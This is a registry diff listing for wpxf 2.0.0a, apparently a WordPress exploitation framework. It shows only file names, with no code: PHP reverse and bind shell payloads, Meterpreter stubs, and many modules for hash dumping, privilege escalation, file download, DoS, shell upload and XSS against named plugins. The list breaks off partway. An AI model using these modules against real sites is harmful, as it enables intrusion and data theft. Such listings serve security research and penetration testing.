wpxf 2.0.0a

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (455) hide show
  1. checksums.yaml +7 -0
  2. data/bin/wpxf +52 -0
  3. data/data/banners/default.txt +16 -0
  4. data/data/js/ajax_download.js +33 -0
  5. data/data/js/ajax_post.js +18 -0
  6. data/data/js/create_wp_user.js +24 -0
  7. data/data/js/post.js +20 -0
  8. data/data/json/browser_usage_by_frequency.json +64 -0
  9. data/data/json/commands.json +116 -0
  10. data/data/php/bind_php.php +43 -0
  11. data/data/php/download_exec.php +36 -0
  12. data/data/php/exec.php +3 -0
  13. data/data/php/exec_methods.php +47 -0
  14. data/data/php/meterpreter_bind_tcp.php +1 -0
  15. data/data/php/meterpreter_bind_tcp_ipv6.php +1 -0
  16. data/data/php/meterpreter_reverse_tcp.php +1 -0
  17. data/data/php/preamble.php +17 -0
  18. data/data/php/reverse_tcp.php +76 -0
  19. data/db/config.yml +17 -0
  20. data/db/env.rb +19 -0
  21. data/db/migrations/001_create_workspaces.rb +15 -0
  22. data/db/migrations/002_create_credentials.rb +20 -0
  23. data/db/migrations/003_add_credential_type.rb +13 -0
  24. data/db/migrations/004_add_unique_workspace_name_index.rb +19 -0
  25. data/db/migrations/005_add_logs.rb +16 -0
  26. data/db/migrations/006_create_modules.rb +18 -0
  27. data/db/migrations/007_create_loot_items.rb +21 -0
  28. data/lib/wpxf.rb +54 -0
  29. data/lib/wpxf/cli/auto_complete.rb +121 -0
  30. data/lib/wpxf/cli/banner.rb +47 -0
  31. data/lib/wpxf/cli/console.rb +146 -0
  32. data/lib/wpxf/cli/context.rb +35 -0
  33. data/lib/wpxf/cli/creds.rb +56 -0
  34. data/lib/wpxf/cli/help.rb +125 -0
  35. data/lib/wpxf/cli/loaded_module.rb +67 -0
  36. data/lib/wpxf/cli/loot.rb +81 -0
  37. data/lib/wpxf/cli/module_cache.rb +59 -0
  38. data/lib/wpxf/cli/module_info.rb +62 -0
  39. data/lib/wpxf/cli/modules.rb +94 -0
  40. data/lib/wpxf/cli/options.rb +105 -0
  41. data/lib/wpxf/cli/output.rb +110 -0
  42. data/lib/wpxf/cli/workspace.rb +80 -0
  43. data/lib/wpxf/core.rb +18 -0
  44. data/lib/wpxf/core/data_file.rb +27 -0
  45. data/lib/wpxf/core/event_emitter.rb +30 -0
  46. data/lib/wpxf/core/module.rb +140 -0
  47. data/lib/wpxf/core/module_authentication.rb +48 -0
  48. data/lib/wpxf/core/module_info.rb +74 -0
  49. data/lib/wpxf/core/options.rb +175 -0
  50. data/lib/wpxf/core/opts/boolean_option.rb +37 -0
  51. data/lib/wpxf/core/opts/enum_option.rb +15 -0
  52. data/lib/wpxf/core/opts/integer_option.rb +74 -0
  53. data/lib/wpxf/core/opts/option.rb +121 -0
  54. data/lib/wpxf/core/opts/path_option.rb +15 -0
  55. data/lib/wpxf/core/opts/port_option.rb +25 -0
  56. data/lib/wpxf/core/opts/string_option.rb +33 -0
  57. data/lib/wpxf/core/output_emitters.rb +67 -0
  58. data/lib/wpxf/core/payload.rb +135 -0
  59. data/lib/wpxf/db.rb +17 -0
  60. data/lib/wpxf/db/credentials.rb +37 -0
  61. data/lib/wpxf/db/loot.rb +19 -0
  62. data/lib/wpxf/helpers/export.rb +48 -0
  63. data/lib/wpxf/models/credential.rb +29 -0
  64. data/lib/wpxf/models/log.rb +22 -0
  65. data/lib/wpxf/models/loot_item.rb +37 -0
  66. data/lib/wpxf/models/module.rb +32 -0
  67. data/lib/wpxf/models/workspace.rb +28 -0
  68. data/lib/wpxf/modules.rb +62 -0
  69. data/lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb +129 -0
  70. data/lib/wpxf/modules/auxiliary/dos/long_password_dos.rb +141 -0
  71. data/lib/wpxf/modules/auxiliary/dos/post_grid_file_deletion.rb +67 -0
  72. data/lib/wpxf/modules/auxiliary/dos/wp_v4.7.2_csrf_dos.rb +83 -0
  73. data/lib/wpxf/modules/auxiliary/file_download/ad_widget_php_file_download.rb +54 -0
  74. data/lib/wpxf/modules/auxiliary/file_download/all_in_one_migration_export.rb +68 -0
  75. data/lib/wpxf/modules/auxiliary/file_download/antioch_arbitrary_file_download.rb +41 -0
  76. data/lib/wpxf/modules/auxiliary/file_download/candidate_application_form_arbitrary_file_download.rb +41 -0
  77. data/lib/wpxf/modules/auxiliary/file_download/cp_image_store_arbitrary_file_download.rb +82 -0
  78. data/lib/wpxf/modules/auxiliary/file_download/direct_download_for_woocommerce_file_download.rb +60 -0
  79. data/lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb +169 -0
  80. data/lib/wpxf/modules/auxiliary/file_download/ghost_unrestricted_export_download.rb +85 -0
  81. data/lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb +50 -0
  82. data/lib/wpxf/modules/auxiliary/file_download/imdb_profile_widget_arbitrary_file_download.rb +42 -0
  83. data/lib/wpxf/modules/auxiliary/file_download/mail_masta_unauthenticated_local_file_inclusion.rb +48 -0
  84. data/lib/wpxf/modules/auxiliary/file_download/membership_simplified_arbitrary_file_download.rb +50 -0
  85. data/lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb +41 -0
  86. data/lib/wpxf/modules/auxiliary/file_download/recent_backups_arbitrary_file_download.rb +42 -0
  87. data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_disclosure.rb +79 -0
  88. data/lib/wpxf/modules/auxiliary/file_download/simple_download_monitor_file_download.rb +69 -0
  89. data/lib/wpxf/modules/auxiliary/file_download/simple_image_manipulator_arbitrary_file_download.rb +43 -0
  90. data/lib/wpxf/modules/auxiliary/file_download/site_editor_file_download.rb +53 -0
  91. data/lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb +42 -0
  92. data/lib/wpxf/modules/auxiliary/file_download/wp_hide_security_enhancer_file_download.rb +51 -0
  93. data/lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb +141 -0
  94. data/lib/wpxf/modules/auxiliary/file_download/wp_vault_file_download.rb +46 -0
  95. data/lib/wpxf/modules/auxiliary/file_download/wptf_image_gallery_arbitrary_file_download.rb +43 -0
  96. data/lib/wpxf/modules/auxiliary/hash_dump/events_hash_dump.rb +59 -0
  97. data/lib/wpxf/modules/auxiliary/hash_dump/gallery_album_hash_dump.rb +61 -0
  98. data/lib/wpxf/modules/auxiliary/hash_dump/jtrt_responsive_tables_hash_dump.rb +69 -0
  99. data/lib/wpxf/modules/auxiliary/hash_dump/registrationmagic_hash_dump.rb +62 -0
  100. data/lib/wpxf/modules/auxiliary/hash_dump/simple_ads_manager_hash_dump.rb +67 -0
  101. data/lib/wpxf/modules/auxiliary/hash_dump/simple_events_calendar_hash_dump.rb +69 -0
  102. data/lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb +59 -0
  103. data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_csv_importer_user_extract.rb +133 -0
  104. data/lib/wpxf/modules/auxiliary/hash_dump/ultimate_product_catalogue_hash_dump.rb +60 -0
  105. data/lib/wpxf/modules/auxiliary/info/download_manager_directory_listing_disclosure.rb +106 -0
  106. data/lib/wpxf/modules/auxiliary/info/download_monitor_log_export.rb +111 -0
  107. data/lib/wpxf/modules/auxiliary/info/email_subscribers_user_list_disclosure.rb +103 -0
  108. data/lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb +86 -0
  109. data/lib/wpxf/modules/auxiliary/info/user_meta_manager_information_disclosure.rb +96 -0
  110. data/lib/wpxf/modules/auxiliary/info/woocommerce_email_test_order_disclosure.rb +53 -0
  111. data/lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb +60 -0
  112. data/lib/wpxf/modules/auxiliary/info/wp_v4.7_user_info_disclosure.rb +86 -0
  113. data/lib/wpxf/modules/auxiliary/misc/email_users_csrf_bulk_mail.rb +89 -0
  114. data/lib/wpxf/modules/auxiliary/misc/qards_local_port_scan.rb +66 -0
  115. data/lib/wpxf/modules/auxiliary/misc/simple_ads_manager_sql_injection.rb +124 -0
  116. data/lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb +107 -0
  117. data/lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb +125 -0
  118. data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_authenticated_privilege_escalation.rb +71 -0
  119. data/lib/wpxf/modules/auxiliary/priv_esc/download_manager_privilege_escalation.rb +92 -0
  120. data/lib/wpxf/modules/auxiliary/priv_esc/easy_cart_privilege_escalation.rb +92 -0
  121. data/lib/wpxf/modules/auxiliary/priv_esc/platform_privilege_escalation.rb +93 -0
  122. data/lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb +154 -0
  123. data/lib/wpxf/modules/auxiliary/priv_esc/user_meta_manager_privilege_escalation.rb +76 -0
  124. data/lib/wpxf/modules/auxiliary/priv_esc/user_role_editor_privilege_escalation.rb +57 -0
  125. data/lib/wpxf/modules/auxiliary/priv_esc/wp_front_end_profile_privilege_escalation.rb +92 -0
  126. data/lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb +117 -0
  127. data/lib/wpxf/modules/exploit/rfi/advanced_custom_fields_remote_file_inclusion.rb +98 -0
  128. data/lib/wpxf/modules/exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload.rb +91 -0
  129. data/lib/wpxf/modules/exploit/rfi/flickr_picture_backup_rfi_shell_upload.rb +94 -0
  130. data/lib/wpxf/modules/exploit/rfi/gwolle_guestbook_remote_file_inclusion.rb +96 -0
  131. data/lib/wpxf/modules/exploit/rfi/wp_mobile_detector_rfi_shell_upload.rb +90 -0
  132. data/lib/wpxf/modules/exploit/shell/accesspress_anonymous_post_pro_shell_upload.rb +71 -0
  133. data/lib/wpxf/modules/exploit/shell/acf_frontend_display_shell_upload.rb +41 -0
  134. data/lib/wpxf/modules/exploit/shell/adblock_blocker_shell_upload.rb +41 -0
  135. data/lib/wpxf/modules/exploit/shell/admin_shell_upload.rb +47 -0
  136. data/lib/wpxf/modules/exploit/shell/aries_revslider_shell_upload.rb +17 -0
  137. data/lib/wpxf/modules/exploit/shell/avada_revslider_shell_upload.rb +15 -0
  138. data/lib/wpxf/modules/exploit/shell/awake_revslider_shell_upload.rb +15 -0
  139. data/lib/wpxf/modules/exploit/shell/beach_apollo_revslider_shell_upload.rb +15 -0
  140. data/lib/wpxf/modules/exploit/shell/bretheon_revslider_shell_upload.rb +15 -0
  141. data/lib/wpxf/modules/exploit/shell/centum_revslider_shell_upload.rb +15 -0
  142. data/lib/wpxf/modules/exploit/shell/charity_theme_shell_upload.rb +38 -0
  143. data/lib/wpxf/modules/exploit/shell/construct_revslider_shell_upload.rb +15 -0
  144. data/lib/wpxf/modules/exploit/shell/creative_contact_form_shell_upload.rb +82 -0
  145. data/lib/wpxf/modules/exploit/shell/delete_all_comments_shell_upload.rb +65 -0
  146. data/lib/wpxf/modules/exploit/shell/designfolio_plus_shell_upload.rb +50 -0
  147. data/lib/wpxf/modules/exploit/shell/divi_revslider_shell_upload.rb +15 -0
  148. data/lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb +174 -0
  149. data/lib/wpxf/modules/exploit/shell/echelon_revslider_shell_upload.rb +15 -0
  150. data/lib/wpxf/modules/exploit/shell/elegance_revslider_shell_upload.rb +15 -0
  151. data/lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb +53 -0
  152. data/lib/wpxf/modules/exploit/shell/evo_theme_shell_upload.rb +37 -0
  153. data/lib/wpxf/modules/exploit/shell/front_end_file_upload_and_manager_shell_upload.rb +42 -0
  154. data/lib/wpxf/modules/exploit/shell/fusion_revslider_shell_upload.rb +15 -0
  155. data/lib/wpxf/modules/exploit/shell/gallery_pro_theme_shell_upload.rb +37 -0
  156. data/lib/wpxf/modules/exploit/shell/gravity_forms_v1.8.19_shell_upload.rb +92 -0
  157. data/lib/wpxf/modules/exploit/shell/holding_pattern_shell_upload.rb +56 -0
  158. data/lib/wpxf/modules/exploit/shell/inboundio_marketing_shell_upload.rb +82 -0
  159. data/lib/wpxf/modules/exploit/shell/incredible_wp_revslider_shell_upload.rb +15 -0
  160. data/lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb +76 -0
  161. data/lib/wpxf/modules/exploit/shell/mailcwp_authenticated_shell_upload.rb +35 -0
  162. data/lib/wpxf/modules/exploit/shell/mailcwp_unauthenticated_shell_upload.rb +51 -0
  163. data/lib/wpxf/modules/exploit/shell/mailpoet_newsletters_shell_upload.rb +90 -0
  164. data/lib/wpxf/modules/exploit/shell/manbiz2_revslider_shell_upload.rb +15 -0
  165. data/lib/wpxf/modules/exploit/shell/medicate_revslider_shell_upload.rb +15 -0
  166. data/lib/wpxf/modules/exploit/shell/method_revslider_shell_upload.rb +15 -0
  167. data/lib/wpxf/modules/exploit/shell/micro_theme_shell_upload.rb +37 -0
  168. data/lib/wpxf/modules/exploit/shell/mobile_app_builder_shell_upload.rb +31 -0
  169. data/lib/wpxf/modules/exploit/shell/mobile_app_native_v3_shell_upload.rb +46 -0
  170. data/lib/wpxf/modules/exploit/shell/mobile_friendly_app_builder_shell_upload.rb +29 -0
  171. data/lib/wpxf/modules/exploit/shell/modular_revslider_shell_upload.rb +15 -0
  172. data/lib/wpxf/modules/exploit/shell/myriad_revslider_shell_upload.rb +15 -0
  173. data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb +82 -0
  174. data/lib/wpxf/modules/exploit/shell/n_media_website_contact_form_v1.9_shell_upload.rb +45 -0
  175. data/lib/wpxf/modules/exploit/shell/neosense_shell_upload.rb +41 -0
  176. data/lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb +83 -0
  177. data/lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb +153 -0
  178. data/lib/wpxf/modules/exploit/shell/persuasion_revslider_shell_upload.rb +15 -0
  179. data/lib/wpxf/modules/exploit/shell/photo_album_plus_xss_shell_upload.rb +89 -0
  180. data/lib/wpxf/modules/exploit/shell/photo_gallery_shell_upload.rb +128 -0
  181. data/lib/wpxf/modules/exploit/shell/premium_seo_pack_shell_upload.rb +35 -0
  182. data/lib/wpxf/modules/exploit/shell/reflex_gallery_shell_upload.rb +91 -0
  183. data/lib/wpxf/modules/exploit/shell/revslider_shell_upload.rb +93 -0
  184. data/lib/wpxf/modules/exploit/shell/seabird_revslider_shell_upload.rb +15 -0
  185. data/lib/wpxf/modules/exploit/shell/showbiz_revslider_shell_upload.rb +15 -0
  186. data/lib/wpxf/modules/exploit/shell/simplecart_shell_upload.rb +91 -0
  187. data/lib/wpxf/modules/exploit/shell/soulmedic_revslider_shell_upload.rb +15 -0
  188. data/lib/wpxf/modules/exploit/shell/striking_r_revslider_shell_upload.rb +15 -0
  189. data/lib/wpxf/modules/exploit/shell/super_socializer_shell_upload.rb +110 -0
  190. data/lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb +85 -0
  191. data/lib/wpxf/modules/exploit/shell/tevolution_shell_upload.rb +50 -0
  192. data/lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb +132 -0
  193. data/lib/wpxf/modules/exploit/shell/ultimate_product_catalogue_shell_upload.rb +47 -0
  194. data/lib/wpxf/modules/exploit/shell/ultimatum_revslider_shell_upload.rb +15 -0
  195. data/lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb +70 -0
  196. data/lib/wpxf/modules/exploit/shell/webapp_builder_shell_upload.rb +29 -0
  197. data/lib/wpxf/modules/exploit/shell/windows_desktop_and_iphone_photo_uploader_shell_upload.rb +45 -0
  198. data/lib/wpxf/modules/exploit/shell/woocommerce_amazon_affiliates_v8_shell_upload.rb +81 -0
  199. data/lib/wpxf/modules/exploit/shell/woocommerce_product_addons_shell_upload.rb +42 -0
  200. data/lib/wpxf/modules/exploit/shell/work_the_flow_shell_upload.rb +57 -0
  201. data/lib/wpxf/modules/exploit/shell/wp2android_shell_upload.rb +29 -0
  202. data/lib/wpxf/modules/exploit/shell/wp_front_end_repository_manager_shell_upload.rb +42 -0
  203. data/lib/wpxf/modules/exploit/shell/wp_marketplace_shell_upload.rb +40 -0
  204. data/lib/wpxf/modules/exploit/shell/wp_support_plus_responsive_ticket_system_shell_upload.rb +46 -0
  205. data/lib/wpxf/modules/exploit/shell/wpshop_shell_upload.rb +45 -0
  206. data/lib/wpxf/modules/exploit/shell/wptouch_authenticated_shell_upload.rb +66 -0
  207. data/lib/wpxf/modules/exploit/shell/wsecure_lite_shell_upload.rb +57 -0
  208. data/lib/wpxf/modules/exploit/xss/reflected/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb +34 -0
  209. data/lib/wpxf/modules/exploit/xss/reflected/admin_custom_login_reflected_xss_shell_upload.rb +42 -0
  210. data/lib/wpxf/modules/exploit/xss/reflected/adsense_plugin_reflected_xss_shell_upload.rb +21 -0
  211. data/lib/wpxf/modules/exploit/xss/reflected/affiliate_ads_builder_xss_shell_upload.rb +53 -0
  212. data/lib/wpxf/modules/exploit/xss/reflected/affiliatewp_reflected_xss_shell_upload.rb +39 -0
  213. data/lib/wpxf/modules/exploit/xss/reflected/ajax_random_post_reflected_xss_shell_upload.rb +34 -0
  214. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_migration_reflected_xss_shell_upload.rb +33 -0
  215. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_schema_rich_snippets_reflected_xss_shell_upload.rb +39 -0
  216. data/lib/wpxf/modules/exploit/xss/reflected/all_in_one_wp_security_reflected_xss_shell_upload.rb +37 -0
  217. data/lib/wpxf/modules/exploit/xss/reflected/alpine_photo_tile_for_instagram_reflected_xss_shell_upload.rb +40 -0
  218. data/lib/wpxf/modules/exploit/xss/reflected/answer_my_question_reflected_xss_shell_upload.rb +41 -0
  219. data/lib/wpxf/modules/exploit/xss/reflected/anti_plagiarism_reflected_xss_shell_upload.rb +34 -0
  220. data/lib/wpxf/modules/exploit/xss/reflected/anyvar_reflected_xss_shell_upload.rb +40 -0
  221. data/lib/wpxf/modules/exploit/xss/reflected/atahualpa_reflected_xss_shell_upload.rb +66 -0
  222. data/lib/wpxf/modules/exploit/xss/reflected/backup_guard_reflected_xss_shell_upload.rb +34 -0
  223. data/lib/wpxf/modules/exploit/xss/reflected/brafton_content_importer_reflected_xss_shell_upload.rb +35 -0
  224. data/lib/wpxf/modules/exploit/xss/reflected/bws_featured_posts_reflected_xss_shell_upload.rb +20 -0
  225. data/lib/wpxf/modules/exploit/xss/reflected/bws_google_analytics_reflected_xss_shell_upload.rb +20 -0
  226. data/lib/wpxf/modules/exploit/xss/reflected/bws_google_maps_reflected_xss_shell_upload.rb +20 -0
  227. data/lib/wpxf/modules/exploit/xss/reflected/bws_latest_posts_reflected_xss_shell_upload.rb +20 -0
  228. data/lib/wpxf/modules/exploit/xss/reflected/bws_linkedin_reflected_xss_shell_upload.rb +20 -0
  229. data/lib/wpxf/modules/exploit/xss/reflected/bws_panel_reflected_xss_shell_upload.rb +45 -0
  230. data/lib/wpxf/modules/exploit/xss/reflected/bws_pinterest_reflected_xss_shell_upload.rb +20 -0
  231. data/lib/wpxf/modules/exploit/xss/reflected/bws_popular_posts_reflected_xss_shell_upload.rb +20 -0
  232. data/lib/wpxf/modules/exploit/xss/reflected/bws_portfolio_reflected_xss_shell_upload.rb +20 -0
  233. data/lib/wpxf/modules/exploit/xss/reflected/bws_smtp_reflected_xss_shell_upload.rb +20 -0
  234. data/lib/wpxf/modules/exploit/xss/reflected/bws_testimonials_reflected_xss_shell_upload.rb +20 -0
  235. data/lib/wpxf/modules/exploit/xss/reflected/caldera_forms_v1.5.4_xss_shell_upload.rb +33 -0
  236. data/lib/wpxf/modules/exploit/xss/reflected/captcha_reflected_xss_shell_upload.rb +20 -0
  237. data/lib/wpxf/modules/exploit/xss/reflected/car_rental_reflected_xss_shell_upload.rb +20 -0
  238. data/lib/wpxf/modules/exploit/xss/reflected/check_email_reflected_xss_shell_upload.rb +44 -0
  239. data/lib/wpxf/modules/exploit/xss/reflected/claptastic_clap_button_reflected_xss_shell_upload.rb +46 -0
  240. data/lib/wpxf/modules/exploit/xss/reflected/code_snippets_reflected_xss_shell_upload.rb +34 -0
  241. data/lib/wpxf/modules/exploit/xss/reflected/colorway_reflected_xss_shell_upload.rb +47 -0
  242. data/lib/wpxf/modules/exploit/xss/reflected/concours_xss_shell_upload.rb +34 -0
  243. data/lib/wpxf/modules/exploit/xss/reflected/connections_reflected_xss_shell_upload.rb +35 -0
  244. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_multi_reflected_xss_shell_upload.rb +20 -0
  245. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_plugin_reflected_xss_shell_upload.rb +20 -0
  246. data/lib/wpxf/modules/exploit/xss/reflected/contact_form_to_db_reflected_xss_shell_upload.rb +20 -0
  247. data/lib/wpxf/modules/exploit/xss/reflected/content_grabber_reflected_xss_shell_upload.rb +43 -0
  248. data/lib/wpxf/modules/exploit/xss/reflected/content_slide_reflected_xss_shell_upload.rb +38 -0
  249. data/lib/wpxf/modules/exploit/xss/reflected/count_per_day_reflected_xss_shell_upload.rb +40 -0
  250. data/lib/wpxf/modules/exploit/xss/reflected/csv_import_export_xss_shell_upload.rb +35 -0
  251. data/lib/wpxf/modules/exploit/xss/reflected/csv_import_reflected_xss_shell_upload.rb +37 -0
  252. data/lib/wpxf/modules/exploit/xss/reflected/custom_admin_page_reflected_xss_shell_upload.rb +20 -0
  253. data/lib/wpxf/modules/exploit/xss/reflected/custom_fields_search_reflected_xss_shell_upload.rb +20 -0
  254. data/lib/wpxf/modules/exploit/xss/reflected/custom_map_xss_shell_upload.rb +35 -0
  255. data/lib/wpxf/modules/exploit/xss/reflected/custom_metas_reflected_xss_shell_upload.rb +35 -0
  256. data/lib/wpxf/modules/exploit/xss/reflected/custom_permalinks_xss_shell_upload.rb +33 -0
  257. data/lib/wpxf/modules/exploit/xss/reflected/custom_search_plugin_reflected_xss_shell_upload.rb +20 -0
  258. data/lib/wpxf/modules/exploit/xss/reflected/defa_online_image_protector_reflected_xss_shell_upload.rb +34 -0
  259. data/lib/wpxf/modules/exploit/xss/reflected/donate_button_reflected_xss_shell_upload.rb +20 -0
  260. data/lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb +39 -0
  261. data/lib/wpxf/modules/exploit/xss/reflected/duplicator_csrf_xss_shell_upload.rb +37 -0
  262. data/lib/wpxf/modules/exploit/xss/reflected/easy_contact_form_builder_reflected_xss_shell_upload.rb +34 -0
  263. data/lib/wpxf/modules/exploit/xss/reflected/emag_marketplace_connector_xss_shell_upload.rb +38 -0
  264. data/lib/wpxf/modules/exploit/xss/reflected/email_queue_reflected_xss_shell_upload.rb +20 -0
  265. data/lib/wpxf/modules/exploit/xss/reflected/email_users_reflected_xss_shell_upload.rb +40 -0
  266. data/lib/wpxf/modules/exploit/xss/reflected/enhanced_tooltip_glossary_reflected_xss_shell_upload.rb +34 -0
  267. data/lib/wpxf/modules/exploit/xss/reflected/error_log_viewer_reflected_xss_shell_upload.rb +20 -0
  268. data/lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb +111 -0
  269. data/lib/wpxf/modules/exploit/xss/reflected/facebook_button_plugin_reflected_xss_shell_upload.rb +20 -0
  270. data/lib/wpxf/modules/exploit/xss/reflected/faq_wd_reflected_xss_shell_upload.rb +41 -0
  271. data/lib/wpxf/modules/exploit/xss/reflected/formbuilder_reflected_xss_shell_upload.rb +34 -0
  272. data/lib/wpxf/modules/exploit/xss/reflected/gallery_categories_reflected_xss_shell_upload.rb +20 -0
  273. data/lib/wpxf/modules/exploit/xss/reflected/gallery_plugin_reflected_xss_shell_upload.rb +20 -0
  274. data/lib/wpxf/modules/exploit/xss/reflected/gd_rating_system_xss_shell_upload.rb +34 -0
  275. data/lib/wpxf/modules/exploit/xss/reflected/google_analytics_dashboard_reflected_xss_shell_upload.rb +41 -0
  276. data/lib/wpxf/modules/exploit/xss/reflected/google_captcha_reflected_xss_shell_upload.rb +20 -0
  277. data/lib/wpxf/modules/exploit/xss/reflected/google_maps_reflected_xss_shell_upload.rb +34 -0
  278. data/lib/wpxf/modules/exploit/xss/reflected/google_one_reflected_xss_shell_upload.rb +20 -0
  279. data/lib/wpxf/modules/exploit/xss/reflected/google_shortlink_reflected_xss_shell_upload.rb +20 -0
  280. data/lib/wpxf/modules/exploit/xss/reflected/google_sitemap_plugin_reflected_xss_shell_upload.rb +20 -0
  281. data/lib/wpxf/modules/exploit/xss/reflected/gravity_forms_v1.9.15.11_reflected_xss_shell_upload.rb +35 -0
  282. data/lib/wpxf/modules/exploit/xss/reflected/hdw_tube_reflected_xss_shell_upload.rb +34 -0
  283. data/lib/wpxf/modules/exploit/xss/reflected/hero_maps_pro_reflected_xss_shell_upload.rb +34 -0
  284. data/lib/wpxf/modules/exploit/xss/reflected/htaccess_reflected_xss_shell_upload.rb +20 -0
  285. data/lib/wpxf/modules/exploit/xss/reflected/huge_it_image_gallery_reflected_xss_shell_upload.rb +41 -0
  286. data/lib/wpxf/modules/exploit/xss/reflected/import_woocommerce_reflected_xss_shell_upload.rb +37 -0
  287. data/lib/wpxf/modules/exploit/xss/reflected/impress_listings_reflected_xss_shell_upload.rb +87 -0
  288. data/lib/wpxf/modules/exploit/xss/reflected/indexisto_reflected_xss_shell_upload.rb +34 -0
  289. data/lib/wpxf/modules/exploit/xss/reflected/infusionsoft_reflected_xss_shell_upload.rb +34 -0
  290. data/lib/wpxf/modules/exploit/xss/reflected/instagram_feed_csrf_xss_shell_upload.rb +34 -0
  291. data/lib/wpxf/modules/exploit/xss/reflected/instalinker_reflected_xss_shell_upload.rb +40 -0
  292. data/lib/wpxf/modules/exploit/xss/reflected/job_board_reflected_xss_shell_upload.rb +20 -0
  293. data/lib/wpxf/modules/exploit/xss/reflected/job_manager_reflected_xss_shell_upload.rb +55 -0
  294. data/lib/wpxf/modules/exploit/xss/reflected/leenkme_reflected_xss_shell_upload.rb +41 -0
  295. data/lib/wpxf/modules/exploit/xss/reflected/lightbox_reflected_xss_shell_upload.rb +64 -0
  296. data/lib/wpxf/modules/exploit/xss/reflected/limit_attempts_reflected_xss_shell_upload.rb +20 -0
  297. data/lib/wpxf/modules/exploit/xss/reflected/link_library_reflected_xss_shell_upload.rb +33 -0
  298. data/lib/wpxf/modules/exploit/xss/reflected/magic_fields_reflected_xss_shell_upload.rb +36 -0
  299. data/lib/wpxf/modules/exploit/xss/reflected/mailchimp_for_wp_reflected_xss_shell_upload.rb +33 -0
  300. data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_reflected_xss_shell_upload.rb +49 -0
  301. data/lib/wpxf/modules/exploit/xss/reflected/mailpoet_newsletters_v272_reflected_xss_shell_upload.rb +36 -0
  302. data/lib/wpxf/modules/exploit/xss/reflected/master_slider_reflected_xss_shell_upload.rb +41 -0
  303. data/lib/wpxf/modules/exploit/xss/reflected/maxbuttons_reflected_xss_shell_upload.rb +38 -0
  304. data/lib/wpxf/modules/exploit/xss/reflected/minimax_page_layout_builder_reflected_xss_shell_upload.rb +34 -0
  305. data/lib/wpxf/modules/exploit/xss/reflected/msmc_redirect_after_comment_reflected_xss_shell_upload.rb +38 -0
  306. data/lib/wpxf/modules/exploit/xss/reflected/multilanguage_reflected_xss_shell_upload.rb +20 -0
  307. data/lib/wpxf/modules/exploit/xss/reflected/new_year_firework_reflected_xss_shell_upload.rb +34 -0
  308. data/lib/wpxf/modules/exploit/xss/reflected/ninja_forms_reflected_xss_shell_upload.rb +37 -0
  309. data/lib/wpxf/modules/exploit/xss/reflected/no_external_links_reflected_xss_shell_upload.rb +39 -0
  310. data/lib/wpxf/modules/exploit/xss/reflected/ocim_mp3_reflected_xss_shell_upload.rb +38 -0
  311. data/lib/wpxf/modules/exploit/xss/reflected/pagination_reflected_xss_shell_upload.rb +20 -0
  312. data/lib/wpxf/modules/exploit/xss/reflected/pdf_print_reflected_xss_shell_upload.rb +20 -0
  313. data/lib/wpxf/modules/exploit/xss/reflected/peters_login_redirect_reflected_xss_shell_upload.rb +53 -0
  314. data/lib/wpxf/modules/exploit/xss/reflected/photo_gallery_xss_shell_upload.rb +46 -0
  315. data/lib/wpxf/modules/exploit/xss/reflected/pinterest_feed_xss_shell_upload.rb +37 -0
  316. data/lib/wpxf/modules/exploit/xss/reflected/podlove_podcast_publisher_reflected_xss_shell_upload.rb +36 -0
  317. data/lib/wpxf/modules/exploit/xss/reflected/pondol_form_to_mail_reflected_xss_shell_upload.rb +34 -0
  318. data/lib/wpxf/modules/exploit/xss/reflected/pootle_button_reflected_xss_shell_upload.rb +32 -0
  319. data/lib/wpxf/modules/exploit/xss/reflected/popcash_integration_xss_shell_upload.rb +34 -0
  320. data/lib/wpxf/modules/exploit/xss/reflected/popup_maker_reflected_xss_shell_upload.rb +39 -0
  321. data/lib/wpxf/modules/exploit/xss/reflected/portfolio_reflected_xss_shell_upload.rb +36 -0
  322. data/lib/wpxf/modules/exploit/xss/reflected/post_to_csv_reflected_xss_shell_upload.rb +20 -0
  323. data/lib/wpxf/modules/exploit/xss/reflected/profile_builder_reflected_xss_shell_upload.rb +40 -0
  324. data/lib/wpxf/modules/exploit/xss/reflected/profile_extra_fields_reflected_xss_shell_upload.rb +20 -0
  325. data/lib/wpxf/modules/exploit/xss/reflected/promobar_reflected_xss_shell_upload.rb +20 -0
